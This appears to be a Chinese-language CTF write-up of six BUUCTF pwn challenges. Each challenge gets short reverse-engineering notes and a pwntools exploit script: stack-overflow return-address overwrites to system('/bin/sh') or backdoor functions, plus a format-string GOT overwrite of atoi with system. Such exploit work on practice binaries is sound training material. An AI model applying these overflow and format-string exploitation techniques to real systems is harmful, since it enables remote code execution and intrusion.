pwn1_sctf_2016
查看我们main函数,我们发现这里有个vuln函数,双击进入
进入vuln函数,我们发现这是一个32位的文件,看到第十一行是一个打印字符
我们看到第15行这里是要输入you字符,但是后面16-17行要用I替换you字符
所以我们只要输入I就行 我们看到fgets读取一行得知我们要输入的字符长度32十进制转为16进制20输入0x20
发现了get_flag敏感函数进入看到了system函数,用这个地址为返回函数。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','26735')
#io = process('/home/xp/tm/wp/pwn1_sctf_2016')
flag = 0x8048F0D
padding = b'I'*20 + b'a'*4
payload = padding + p32(flag)
io.sendline(payload)
io.interactive()
jarvisoj_level0
查看main函数,发现返回函数双击后面的进入
严重的栈溢出
Shift键+f12打开发现/bin/sh/双击点开
进入发现system函数和/bin/sh输入我们的返回地址就行
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','27355')
#io = process('/home/xp/tm/bin/jarvisoj_level0')
padding = b'a'*(0x80+0x8)
system = 0x40059A
payload = padding + p64(system)
io.sendline(payload)
io.interactive()
[第五空间2019 决赛]PWN5
查看我们的main函数,发现这是一个32位的文件,其次这里涉及到了printf()函数,存在格式化字符串漏洞和偏移量,这里第7行70和第19行的63,这里不存在栈溢出
看到19行,我们知道要输入一个63十进制转换41十六进制的字符长度,然后我们看到atoi知道这里是一个偏移量,804c044开头,我们知道要输入名字的数和密码数一致才能获得flag,这里我们用到了随机生成数。将dword_804c044修改用canary断就能得到flag
我们发现因为存在格式化字符串漏洞,所以我们只要将atoi改成system,system(/bin/sh)就能进入if判断,得到我们的flag
我们可以用checksec+文件名,在ubuntu里发现还有canary打开和NX保护也打开了
法一:
我们用到了%n 用于读取前面字符串的长度并写入某个内存地址
因为前面我们得到了他要输入的偏移量的16进制是41,所以我用AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x
得到了41414141这个,我们知道了偏移是10
exp:
法二:
我们看了main知道了这里存在格式化字符串漏洞,我们只要将判断atoi改成system,手动输入/bin/sh字符串
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','28746')
io = process('/home/xp/tm/bin/pwn5')
elf = ELF('/home/xp/tm/bin/wp/pwn5')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
jarvisoj_level2
查看main函数,我们发现这是一个32位文件,看见vulnerable_function()双击进入
我们发现这里出现了大量栈溢出
Shift+f12 我们找到/bin/sh和system双击进入
这里是/bin/sh的地址
我们找到system的最终返回地址
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','25289')
#io = process('/home/xp/tm/bin/jarvisoj_level2')
system = 0x8048320
binsh = 0x804a024
padding = b'a'*(0x88+0x4)
payload = padding + p32(system) + p32(0xbeff) + p32(binsh)
io.sendline(payload)
io.interactive()
ciscn_2019_n_8
用checksec查看了一下文件,恐怖至极啊
我们查看main函数发现这就是一个简单的var的字符串输入
我们只需要var[13]=17就可以触发/bin/sh的被动,
var[13]后的8个字节数据赋值为17就能得到flag
注意:这里的qword是quad(意思是4)一个word为2个字节,所以qword就是8个字节
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','25315')
#io = process('/home/xp/tm/bin/ciscn_2019_n_8')
payload = b'a'*(13)*(4) + p64(17)
io.sendline(payload)
io.interactive()
bjdctf_2020_babystack
查看main发现这是一个栈溢出,且buf输入的长度控制nbytes最小要大于0x20
exp:
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','27234')
#io = process('/home/xp/tm/bin/bjdctf_2020_babystack')
door = 0x4006e6
ret = 0x400561
io.sendline('100')
padding = b'a'*(0x10+0x8)
payload = padding + p64(ret) + p64(door)
io.sendline(payload)
io.interactive()
涉及高版本的ubuntu我们要用一个ret(栈对齐)